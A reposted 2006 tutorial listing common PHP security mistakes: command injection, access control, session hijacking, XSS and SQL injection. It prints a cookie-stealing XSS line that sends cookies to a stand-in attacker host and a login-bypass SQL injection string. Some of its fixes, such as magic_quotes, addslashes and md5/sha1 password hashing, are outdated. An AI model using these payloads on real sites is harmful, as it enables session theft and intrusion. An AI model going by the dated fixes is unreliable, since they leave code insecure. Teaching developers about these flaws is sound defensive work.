文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>Top 5 PHP Security Mistakes

Top 5 PHP Security Mistakes

时间:2006-10-20  来源:ApexDN


      
Unvalidated Input Errors
One of — if not the — most common PHP security flaws is the
unvalidated input error. User-provided data simply cannot be trusted.
You should assume every one of your Web application users is malicious,
since it’s certain that some of them will be. Unvalidated or improperly
validated input is the root cause of many of the exploits we’ll discuss
later in this article.
As an example, you might write the following code to allow a user to
view a calendar that displays a specified month by calling the UNIX cal
command.
$month = $_GET[month];
$year = $_GET[year];
exec(”cal $month $year”, $result);
The proper way to correct this is to ensure that the input you receive from the user is what you expect it to be. Do not use
JavaScript
validation for this; such validation methods are easily worked around
by an exploiter who creates their own form or disables javascript. You
need to add PHP code to ensure that the month and year inputs are
digits and only digits, as shown below.
$month = $_GET[month];
$year = $_GET[year];
if (!preg_match(”/^[0-9]{1,2}$/”, $month))
die(”Bad month, please re-enter.”);
if (!preg_match(”/^[0-9]{4}$/”, $year))
die(”Bad year, please re-enter.”);
exec(”cal $month $year”, $result);
Access Control Flaws
Another type of flaw that’s not necessarily restricted to PHP
applications, but is important nonetheless, is the access control type
of vulnerability. This flaw rears its head when you have certain
sections of your application that must be restricted to certain users,
such as an administration page that allows configuration settings to be
changed, or displays sensitive information.
You should check the user’s credentials upon every load of a
restricted page of your PHP application. If you check the user’s
credentials on the index page only, a malicious user could directly
enter a URL to a “deeper” page, which would bypass this credential
checking process.
It’s also advisable to layer your security, for example, by
restricting user access on the basis of the user’s IP address as well
as their user name, if possible. Placing your restricted pages in a
separate directory that’s protected by an
apache
.htaccess file is also good practice.
Place configuration files outside your Web-
accessible
directory. A configuration file can contain database passwords and
other information that could be used by malicious users to penetrate or
deface your site; never allow these files to be accessed by remote
users. Use the PHP include function to include these files from a
directory that’s not Web-accessible, possibly including an .htaccess
file containing “deny from any”. Though this is redundant, layering
security is a positive thing.
For my PHP applications, I prefer a directory structure based on the
sample below. All function libraries, classes and configuration files
are stored in the includes directory. Always name these include files
with a .php extension, so that even if all your protection is bypassed,
the Web server will parse the PHP code, and will not display it to the
user. The www and admin directories are the only directories whose
files can be accessed directly by a URL; the admin directory is
protected by an .htaccess file that allows users entry only if they
know a user name and password that’s stored in the .htpasswd file in
the root directory of the site.
/home /httpd /www.example.com .htpasswd /includes cart.class.php
config.php /logs access_log error_log /www index.php /admin .htaccess
index.php
You should set your Apache directory indexes to ‘index.php’, and keep
an index.php file in every directory. Set it to redirect to your main
page if the directory should not be browsable, such as an images
directory or similar.
Never, ever, make a backup of a php file in your Web-exposed
directory by adding .bak or another extension to the filename. If you
do this, the PHP code in the file will not be parsed by the Web server,
and may be output as source to a user who stumbles upon a URL to the
backup file. If that file contained passwords or other sensitive
information, that information would be readable — it could even end up
being indexed by Google if the spider stumbled upon it! Renaming files
to have a .bak.php extension is safer than tacking a .bak onto the .php
extension, but the best solution is to use a source code version
control system like CVS. CVS can be complicated to learn, but the time
you spend will pay off in many ways. The system saves every version of
each file in your project, which can be invaluable when changes are
made that cause problems later.
Session ID Protection
Session ID hijacking can be a problem with PHP Websites. The PHP
session tracking component uses a unique ID for each user’s session,
but if this ID is known to another user, that person can hijack the
user’s session and see information that should be confidential. Session
ID hijacking cannot completely be prevented; you should know the risks
so you can mitigate them.
For instance, even after a user has been validated and assigned a
session ID, you should revalidate that user when he or she performs any
highly sensitive actions, such as resetting passwords. Never allow a
session-validated user to enter a new password without also entering
their old password, for example. You should also avoid displaying truly
sensitive data, such as credit card numbers, to a user who has only
been validated by session ID.
A user who creates a new session by logging in should be assigned a
fresh session ID using the session_regenerate_id function. A hijacking
user will try to set his session ID prior to login; this can be
prevented if you regenerate the ID at login.
If your site is handling critical information such as credit card
numbers, always use an SSL secured connection. This will help reduce
session hijacking vulnerabilities since the session ID cannot be
sniffed and easily hijacked.
If your site is run on a shared Web server, be aware that any
session variables can easily be viewed by any other users on the same
server. Mitigate this vulnerability by storing all sensitive data in a
database record that’s keyed to the session ID rather than as a session
variable. If you must store a password in a session variable, do not
store the password in clear text; use the sha1() (PHP 4.3+) or md5()
function to store the hash of the password instead.
if ($_SESSION[password] == $userpass) { // do sensitive things here }
The above code is not secure, since the password is stored in plain text in a session variable.
Instead, use code more like this:
if ($_SESSION[sha1password] == sha1($userpass)) { // do sensitive things here }
The SHA-1 algorithm is not without its flaws, and further advances
in computing power are making it possible to generate what are known as
collisions (different strings with the same SHA-1 sum). Yet the above
technique is still vastly superior to storing passwords in clear text.
Use MD5 if you must — since it’s superior to a clear text-saved
password — but keep in mind that recent developments have made it
possible to generate MD5 collisions in less than an hour on standard PC
hardware. Ideally, one should use a function that implements SHA-256;
such a function does not currently ship with PHP and must be found
separately.
For further reading on hash collisions, among other security related topics,
Bruce Schneier’s Website
is a great resource.
Cross Site Scripting (XSS) Flaws
Cross site scripting, or XSS, flaws are a subset of user validation
where a malicious user embeds scripting commands — usually JavaScript —
in data that is displayed and therefore executed by another user.
For example, if your application included a forum in which people
could post messages to be read by other users, a malicious user could
embed a script tag, shown below, which would reload the page to a site
controlled by them, pass your
cookie
and session information as GET variables to their page, then reload
your page as though nothing had happened. The malicious user could
thereby collect other users’ cookie and session information, and use
this data in a session hijacking or other attack on your site.
document.location = ‘http://www.badguys.com/cgi-bin/cookie.php?’ + document.cookie;
To prevent this type of attack, you must perform user input validation
by disallowing any script tags from being submitted to your forms.
Always convert the characters in user input that may be viewed by other
users to . Additionally, it may be wise to convert the
parenthesis, ampersand, and hash (#) characters to their HTML entity
equivalents.
SQL Insertion Vulnerabilities
SQL insertion vulnerabilities are yet another class of input
validation flaws. Specifically, they allow for the exploitation of a
database query. For example, in your
PHP
script, you might ask the user for a user ID and password, then check
for the user by passing the database a query and checking the result.
SELECT * FROM users WHERE name=’$username’ AND pass=’$password’;
However, if the user who’s logging in is devious, he may enter the following as his password:
‘ OR ‘1′=’1
This results in the query being sent to the database as:
SELECT * FROM users WHERE name=’known_user’ AND pass='’ OR ‘1′=’1′;
This will return the username without validating the password — the
malicious user has gained entry to your application as a user of his
choice. To alleviate this problem, ensure that your magic_quotes_gpc
PHP ini variable is turned on, which is the default in most recently
released versions of PHP. If you’re developing software that may be
installed on shared servers where the end user might not be able to
change the php.ini file, use code to check that status of
magic_quotes_gpc and, if it is turned off, pass any user input that
will be used in a database query through the addslashes() function, as
shown below.
if (magic_quotes_gpc()){
$username = $_GET[”username”];
} else {
$username = addslashes($_GET[”username”]); }
Do not use addslashes() on your input if magic_quotes_gpc is on, as this will double escape your input and lead to problems.
SQL Insertion flaws do not always lead to privilege escalation. For
instance, they can allow a malicious user to output selected database
records if the result of the query is printed to your
HTML
output.
You should always check user-provided data that will be used in a
query for the characters ‘”,;() and, possibly, for the keywords “FROM”,
“LIKE”, and “WHERE” in a case-insensitive fashion. These are the
characters and keywords that are useful in a SQL insertion attack, so
if you strip them from user inputs in which they’re unnecessary, you’ll
have much less to worry about from this type of flaw.
Error Reporting
You should ensure that your display_errors php.ini value is set to
“0″. Otherwise, any errors that are encountered in your code, such as
database connection errors, will be output to the end user’s browser. A
malicious user could leverage this flaw to gain information about the
internal workings of your application, simply by providing bad input
and reading the error messages that result.
The display_errors value can be set at runtime using the ini_set
function, but this is not as desirable as setting it in the ini file,
since a fatal compilation error of your script will still be displayed:
if the script has a fatal error and cannot run, the ini_set function is
not run.
Instead of displaying errors, set the error_log ini variable to “1″
and check your PHP error log frequently for caught errors.
Alternatively, you can develop your own error handling functions that
are automatically invoked when PHP encounters an error, and can email
you or execute other PHP code of your choice. This is a wise precaution
to take, as you will be notified of an error and have it fixed possibly
before malicious users even know the problem exists. Read the
PHP manual pages on error handling
and learn about the set_error_handler() function.
      
      
   
               
               
               

相关阅读 更多 +
排行榜 更多 +
辰域智控app

辰域智控app

系统工具 下载
网医联盟app

网医联盟app

运动健身 下载
汇丰汇选App

汇丰汇选App

金融理财 下载